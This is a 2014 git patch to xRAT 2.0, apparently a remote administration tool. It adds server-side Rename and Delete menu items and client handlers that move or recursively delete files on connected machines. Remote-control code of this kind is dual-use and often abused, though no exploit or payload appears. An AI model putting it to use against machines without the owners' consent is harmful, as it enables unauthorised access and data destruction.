From 83254da8152e0780b8bfc5307e5876a3fc650e5c Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 17 Jul 2014 23:22:59 +0200 Subject: [PATCH] Extended File Manager with some additional features Added Rename & Delete option --- Client/Client.csproj | 2 + Client/Core/Commands/CommandHandler.cs | 30 ++++++ .../Packets/ServerPackets/Commands/Delete.cs | 26 +++++ .../Packets/ServerPackets/Commands/Rename.cs | 30 ++++++ Client/Program.cs | 10 ++ .../Packets/ServerPackets/Commands/Delete.cs | 26 +++++ .../Packets/ServerPackets/Commands/Rename.cs | 30 ++++++ Server/Forms/frmFileManager.Designer.cs | 44 ++++++-- Server/Forms/frmFileManager.cs | 65 ++++++++++-- Server/Forms/frmFileManager.resx | 4 +- Server/Forms/frmMain.cs | 2 + Server/Properties/Resources.Designer.cs | 20 ++++ Server/Properties/Resources.resx | 97 ++++++++++-------- Server/Resources/delete.png | Bin 0 -> 715 bytes Server/Resources/textfield_rename.png | Bin 0 -> 273 bytes Server/Server.csproj | 2 + 16 files changed, 328 insertions(+), 60 deletions(-) create mode 100644 Client/Core/Packets/ServerPackets/Commands/Delete.cs create mode 100644 Client/Core/Packets/ServerPackets/Commands/Rename.cs create mode 100644 Server/Core/Packets/ServerPackets/Commands/Delete.cs create mode 100644 Server/Core/Packets/ServerPackets/Commands/Rename.cs create mode 100644 Server/Resources/delete.png create mode 100644 Server/Resources/textfield_rename.png diff --git a/Client/Client.csproj b/Client/Client.csproj index 7bfed8ce..4fdded6d 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -68,6 +68,7 @@ + @@ -76,6 +77,7 @@ + diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index 3544df96..b8ccff39 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -468,5 +468,35 @@ namespace Core.Commands shell = null; } } + + public static void HandleRename(Core.Packets.ServerPackets.Rename command, Core.Client client) + { + try + { + if (command.IsDir) + Directory.Move(command.Path, command.NewPath); + else + File.Move(command.Path, command.NewPath); + + HandleDirectory(new Core.Packets.ServerPackets.Directory(Path.GetDirectoryName(command.NewPath)), client); + } + catch + { } + } + + public static void HandleDelete(Core.Packets.ServerPackets.Delete command, Core.Client client) + { + try + { + if (command.IsDir) + Directory.Delete(command.Path, true); + else + File.Delete(command.Path); + + HandleDirectory(new Core.Packets.ServerPackets.Directory(Path.GetDirectoryName(command.Path)), client); + } + catch + { } + } } } diff --git a/Client/Core/Packets/ServerPackets/Commands/Delete.cs b/Client/Core/Packets/ServerPackets/Commands/Delete.cs new file mode 100644 index 00000000..230b265c --- /dev/null +++ b/Client/Core/Packets/ServerPackets/Commands/Delete.cs @@ -0,0 +1,26 @@ +using ProtoBuf; + +namespace Core.Packets.ServerPackets +{ + [ProtoContract] + public class Delete : IPacket + { + [ProtoMember(1)] + public string Path { get; set; } + + [ProtoMember(2)] + public bool IsDir { get; set; } + + public Delete() { } + public Delete(string path, bool isdir) + { + this.Path = path; + this.IsDir = isdir; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Client/Core/Packets/ServerPackets/Commands/Rename.cs b/Client/Core/Packets/ServerPackets/Commands/Rename.cs new file mode 100644 index 00000000..d396aea2 --- /dev/null +++ b/Client/Core/Packets/ServerPackets/Commands/Rename.cs @@ -0,0 +1,30 @@ +using ProtoBuf; + +namespace Core.Packets.ServerPackets +{ + [ProtoContract] + public class Rename : IPacket + { + [ProtoMember(1)] + public string Path { get; set; } + + [ProtoMember(2)] + public string NewPath { get; set; } + + [ProtoMember(3)] + public bool IsDir { get; set; } + + public Rename() { } + public Rename(string path, string newpath, bool isdir) + { + this.Path = path; + this.NewPath = newpath; + this.IsDir = isdir; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Client/Program.cs b/Client/Program.cs index fcd4db7b..4fe93817 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -82,6 +82,8 @@ static class Program typeof(Core.Packets.ServerPackets.Update), typeof(Core.Packets.ServerPackets.Monitors), typeof(Core.Packets.ServerPackets.ShellCommand), + typeof(Core.Packets.ServerPackets.Rename), + typeof(Core.Packets.ServerPackets.Delete), typeof(Core.Packets.ClientPackets.Initialize), typeof(Core.Packets.ClientPackets.Status), typeof(Core.Packets.ClientPackets.UserStatus), @@ -236,5 +238,13 @@ static class Program { CommandHandler.HandleShellCommand((Core.Packets.ServerPackets.ShellCommand)packet, client); } + else if (type == typeof(Core.Packets.ServerPackets.Rename)) + { + CommandHandler.HandleRename((Core.Packets.ServerPackets.Rename)packet, client); + } + else if (type == typeof(Core.Packets.ServerPackets.Delete)) + { + CommandHandler.HandleDelete((Core.Packets.ServerPackets.Delete)packet, client); + } } } diff --git a/Server/Core/Packets/ServerPackets/Commands/Delete.cs b/Server/Core/Packets/ServerPackets/Commands/Delete.cs new file mode 100644 index 00000000..230b265c --- /dev/null +++ b/Server/Core/Packets/ServerPackets/Commands/Delete.cs @@ -0,0 +1,26 @@ +using ProtoBuf; + +namespace Core.Packets.ServerPackets +{ + [ProtoContract] + public class Delete : IPacket + { + [ProtoMember(1)] + public string Path { get; set; } + + [ProtoMember(2)] + public bool IsDir { get; set; } + + public Delete() { } + public Delete(string path, bool isdir) + { + this.Path = path; + this.IsDir = isdir; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Core/Packets/ServerPackets/Commands/Rename.cs b/Server/Core/Packets/ServerPackets/Commands/Rename.cs new file mode 100644 index 00000000..d396aea2 --- /dev/null +++ b/Server/Core/Packets/ServerPackets/Commands/Rename.cs @@ -0,0 +1,30 @@ +using ProtoBuf; + +namespace Core.Packets.ServerPackets +{ + [ProtoContract] + public class Rename : IPacket + { + [ProtoMember(1)] + public string Path { get; set; } + + [ProtoMember(2)] + public string NewPath { get; set; } + + [ProtoMember(3)] + public bool IsDir { get; set; } + + public Rename() { } + public Rename(string path, string newpath, bool isdir) + { + this.Path = path; + this.NewPath = newpath; + this.IsDir = isdir; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Forms/frmFileManager.Designer.cs b/Server/Forms/frmFileManager.Designer.cs index ef197830..ea957996 100644 --- a/Server/Forms/frmFileManager.Designer.cs +++ b/Server/Forms/frmFileManager.Designer.cs @@ -34,7 +34,11 @@ this.lblDrive = new System.Windows.Forms.Label(); this.ctxtMenu = new System.Windows.Forms.ContextMenuStrip(this.components); this.ctxtDownload = new System.Windows.Forms.ToolStripMenuItem(); + this.ctxtLine2 = new System.Windows.Forms.ToolStripSeparator(); this.ctxtExecute = new System.Windows.Forms.ToolStripMenuItem(); + this.ctxtRename = new System.Windows.Forms.ToolStripMenuItem(); + this.ctxtDelete = new System.Windows.Forms.ToolStripMenuItem(); + this.ctxtLine = new System.Windows.Forms.ToolStripSeparator(); this.ctxtRefresh = new System.Windows.Forms.ToolStripMenuItem(); this.imgListDirectory = new System.Windows.Forms.ImageList(this.components); this.botStrip = new System.Windows.Forms.StatusStrip(); @@ -43,7 +47,6 @@ this.tabFileExplorer = new System.Windows.Forms.TabPage(); this.tabTransfers = new System.Windows.Forms.TabPage(); this.imgListTransfers = new System.Windows.Forms.ImageList(this.components); - this.ctxtLine = new System.Windows.Forms.ToolStripSeparator(); this.lstDirectory = new xRAT_2.Controls.ListViewEx(); this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hSize = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -81,11 +84,14 @@ // this.ctxtMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.ctxtDownload, + this.ctxtLine2, this.ctxtExecute, + this.ctxtRename, + this.ctxtDelete, this.ctxtLine, this.ctxtRefresh}); this.ctxtMenu.Name = "ctxtMenu"; - this.ctxtMenu.Size = new System.Drawing.Size(153, 98); + this.ctxtMenu.Size = new System.Drawing.Size(153, 148); // // ctxtDownload // @@ -95,6 +101,11 @@ this.ctxtDownload.Text = "Download"; this.ctxtDownload.Click += new System.EventHandler(this.ctxtDownload_Click); // + // ctxtLine2 + // + this.ctxtLine2.Name = "ctxtLine2"; + this.ctxtLine2.Size = new System.Drawing.Size(149, 6); + // // ctxtExecute // this.ctxtExecute.Image = global::xRAT_2.Properties.Resources.run; @@ -103,6 +114,27 @@ this.ctxtExecute.Text = "Execute"; this.ctxtExecute.Click += new System.EventHandler(this.ctxtExecute_Click); // + // ctxtRename + // + this.ctxtRename.Image = global::xRAT_2.Properties.Resources.textfield_rename; + this.ctxtRename.Name = "ctxtRename"; + this.ctxtRename.Size = new System.Drawing.Size(152, 22); + this.ctxtRename.Text = "Rename"; + this.ctxtRename.Click += new System.EventHandler(this.ctxtRename_Click); + // + // ctxtDelete + // + this.ctxtDelete.Image = global::xRAT_2.Properties.Resources.delete; + this.ctxtDelete.Name = "ctxtDelete"; + this.ctxtDelete.Size = new System.Drawing.Size(152, 22); + this.ctxtDelete.Text = "Delete"; + this.ctxtDelete.Click += new System.EventHandler(this.ctxtDelete_Click); + // + // ctxtLine + // + this.ctxtLine.Name = "ctxtLine"; + this.ctxtLine.Size = new System.Drawing.Size(149, 6); + // // ctxtRefresh // this.ctxtRefresh.Image = global::xRAT_2.Properties.Resources.refresh; @@ -188,11 +220,6 @@ this.imgListTransfers.Images.SetKeyName(0, "cancel.png"); this.imgListTransfers.Images.SetKeyName(1, "done.png"); // - // ctxtLine - // - this.ctxtLine.Name = "ctxtLine"; - this.ctxtLine.Size = new System.Drawing.Size(149, 6); - // // lstDirectory // this.lstDirectory.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) @@ -314,5 +341,8 @@ private System.Windows.Forms.ToolStripMenuItem ctxtExecute; private System.Windows.Forms.ToolStripMenuItem ctxtRefresh; private System.Windows.Forms.ToolStripSeparator ctxtLine; + private System.Windows.Forms.ToolStripSeparator ctxtLine2; + private System.Windows.Forms.ToolStripMenuItem ctxtRename; + private System.Windows.Forms.ToolStripMenuItem ctxtDelete; } } \ No newline at end of file diff --git a/Server/Forms/frmFileManager.cs b/Server/Forms/frmFileManager.cs index 707a60bb..6f7973b1 100644 --- a/Server/Forms/frmFileManager.cs +++ b/Server/Forms/frmFileManager.cs @@ -154,14 +154,57 @@ namespace xRAT_2.Forms } } - private void btnOpenDLFolder_Click(object sender, EventArgs e) + private void ctxtRename_Click(object sender, EventArgs e) { - string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + cClient.EndPoint.Address.ToString()); + foreach (ListViewItem files in lstDirectory.SelectedItems) + { + if (files.SubItems[0].Text != "..") + { + string path = currentDir; + string newName = files.SubItems[0].Text; + bool isDir = files.Tag.ToString() == "dir"; - if (Directory.Exists(downloadPath)) - Process.Start(downloadPath); - else - MessageBox.Show("No files downloaded yet!", "xRAT 2.0 - File Manager", MessageBoxButtons.OK, MessageBoxIcon.Information); + if (path.EndsWith(@"\")) + path = path + files.SubItems[0].Text; + else + path = path + @"\" + files.SubItems[0].Text; + + if (InputBox.Show("New name", "Enter new name:", ref newName) == System.Windows.Forms.DialogResult.OK) + { + if (currentDir.EndsWith(@"\")) + newName = currentDir + newName; + else + newName = currentDir + @"\" + newName; + + if (cClient != null) + new Core.Packets.ServerPackets.Rename(path, newName, isDir).Execute(cClient); + } + } + } + } + + private void ctxtDelete_Click(object sender, EventArgs e) + { + foreach (ListViewItem files in lstDirectory.SelectedItems) + { + if (files.SubItems[0].Text != "..") + { + string path = currentDir; + bool isDir = files.Tag.ToString() == "dir"; + string text = string.Format("Are you sure you want to delete this {0}", (isDir) ? "directory?" : "file?"); + + if (path.EndsWith(@"\")) + path = path + files.SubItems[0].Text; + else + path = path + @"\" + files.SubItems[0].Text; + + if (MessageBox.Show(text, "Are you sure?", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) + { + if (cClient != null) + new Core.Packets.ServerPackets.Delete(path, isDir).Execute(cClient); + } + } + } } private void ctxtRefresh_Click(object sender, EventArgs e) @@ -173,6 +216,16 @@ namespace xRAT_2.Forms } } + private void btnOpenDLFolder_Click(object sender, EventArgs e) + { + string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + cClient.EndPoint.Address.ToString()); + + if (Directory.Exists(downloadPath)) + Process.Start(downloadPath); + else + MessageBox.Show("No files downloaded yet!", "xRAT 2.0 - File Manager", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + private void lstDirectory_ColumnClick(object sender, ColumnClickEventArgs e) { // Determine if clicked column is already the column that is being sorted. diff --git a/Server/Forms/frmFileManager.resx b/Server/Forms/frmFileManager.resx index e0795270..01b80375 100644 --- a/Server/Forms/frmFileManager.resx +++ b/Server/Forms/frmFileManager.resx @@ -128,7 +128,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAAW - EwAAAk1TRnQBSQFMAgEBCwEAAbgBAAG4AQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + EwAAAk1TRnQBSQFMAgEBCwEAAeABAAHgAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAATADAAEBAQABCAYAAQwYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA @@ -223,7 +223,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABE - CQAAAk1TRnQBSQFMAgEBAgEAATABAAEwAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + CQAAAk1TRnQBSQFMAgEBAgEAAVgBAAFYAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA diff --git a/Server/Forms/frmMain.cs b/Server/Forms/frmMain.cs index b7784523..288c925e 100644 --- a/Server/Forms/frmMain.cs +++ b/Server/Forms/frmMain.cs @@ -87,6 +87,8 @@ namespace xRAT_2.Forms typeof(Core.Packets.ServerPackets.Update), typeof(Core.Packets.ServerPackets.Monitors), typeof(Core.Packets.ServerPackets.ShellCommand), + typeof(Core.Packets.ServerPackets.Rename), + typeof(Core.Packets.ServerPackets.Delete), typeof(Core.Packets.ClientPackets.Initialize), typeof(Core.Packets.ClientPackets.Status), typeof(Core.Packets.ClientPackets.UserStatus), diff --git a/Server/Properties/Resources.Designer.cs b/Server/Properties/Resources.Designer.cs index e3da50fb..eb6ed5d3 100644 --- a/Server/Properties/Resources.Designer.cs +++ b/Server/Properties/Resources.Designer.cs @@ -100,6 +100,16 @@ namespace xRAT_2.Properties { } } + /// + /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap delete { + get { + object obj = ResourceManager.GetObject("delete", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + /// /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. /// @@ -290,6 +300,16 @@ namespace xRAT_2.Properties { } } + /// + /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap textfield_rename { + get { + object obj = ResourceManager.GetObject("textfield_rename", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + /// /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. /// diff --git a/Server/Properties/Resources.resx b/Server/Properties/Resources.resx index f4b899cf..a50ac947 100644 --- a/Server/Properties/Resources.resx +++ b/Server/Properties/Resources.resx @@ -117,33 +117,36 @@ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - + ..\images\server-reconnect.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\images\server.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\images\mouse_delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\images\key_go.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\images\information.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\images\folder.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\images\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\copy.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\images\cancel.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\images\key_go.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\icons\xRAT-64x64.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\images\computer.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -151,45 +154,6 @@ ..\images\server-disconnect.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\images\bricks.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\monitor.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\server-uninstall.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\server-add.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\run.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\eye.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\world_link.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\download.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\mouse_add.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\uac-shield.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\refresh.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\images\task-manager.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - - ..\icons\xRAT-64x64.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - xRAT 2.0 Copyright (C) 2014 MaxX0r @@ -219,4 +183,47 @@ By using this product you agree to everything specified above. + + ..\images\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\server-uninstall.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\server-add.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\run.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\eye.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\world_link.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\download.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\mouse_add.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\monitor.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\uac-shield.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\bricks.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\refresh.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\task-manager.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + + ..\Resources\textfield_rename.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + \ No newline at end of file diff --git a/Server/Resources/delete.png b/Server/Resources/delete.png new file mode 100644 index 0000000000000000000000000000000000000000..08f249365afd29594b51210c6e21ba253897505d GIT binary patch literal 715 zcmV;+0yO=JP)C4}Mrzlg<+1Y8PEBfUp0jJpx4B>@E+cy3`^(Gw`Mf+2&yxZm<$to~Vpgvg&QKNR z_f#1(r6svZt%iF?s+n<8X?B&!h3g9Dbb8_=MX}!;HiQSAh`bp^WMl~Z-44teO7W_Y zV4thSL{h;rJY7!l3%5J4H1!tIzB`Dv+YxO(haWeausGZYkI8^hWj6mzo=L0{%;yxzh{5!Htr?51 zvG|W62MzC8BZ76hRpCyO2zOn<%e)K>NHge!-~)Ap33OdWw6hsLYbCxGNt0%wk_2z7 zfyYvXheSG)5HRK1VB~%mq7Dmurw#bi@hEcOr3&G1ZiF*$M=&9nB#VNf&Q^r$4G5kp zTURh&s)E0%5&hyVD}sp<72~zmAY`Y(9aqO6CXF%=zFHGzO-A&I(pE}v70YQxCPJ{Y z4L+?5-crdLn3ZRPEs!A4ehEY3ZRpL~w9>@aMN+{F4dI@v&>(QDHQum!mG~E^$OS8l z!7?%Uwib*ROP67Hw`ika)gX-(8Ia`-u_IEhxG7U<13kSsMW+$lbb2dUMm5p6pa}cjgA+U$^mJ^AjD?&bdi)8~y+Q002ovPDHLkV1g8IMc@Dc literal 0 HcmV?d00001 diff --git a/Server/Resources/textfield_rename.png b/Server/Resources/textfield_rename.png new file mode 100644 index 0000000000000000000000000000000000000000..4e3688edc88c10d2f0e31198d0b17303bc1d223b GIT binary patch literal 273 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`Ea{HEjtmUzPnffIy#(?lOI#yL zg7ec#$`gxH85~pclTsBta}(23gHjVyDhp4h+5i?8!V{ znjV^ye=2;qm;P{$`s;H$`x~a}R(xgP|G$RoO>~FD8I7fnS&nXWFMPEjPiNb7^=IwB zO%ASl$t*T|^U-%%8&{}vv|YWQef;Fc%Euzc)I$ztaD0e0suWxYs>%u literal 0 HcmV?d00001 diff --git a/Server/Server.csproj b/Server/Server.csproj index 5fb911c4..66c48223 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -85,6 +85,7 @@ + @@ -96,6 +97,7 @@ +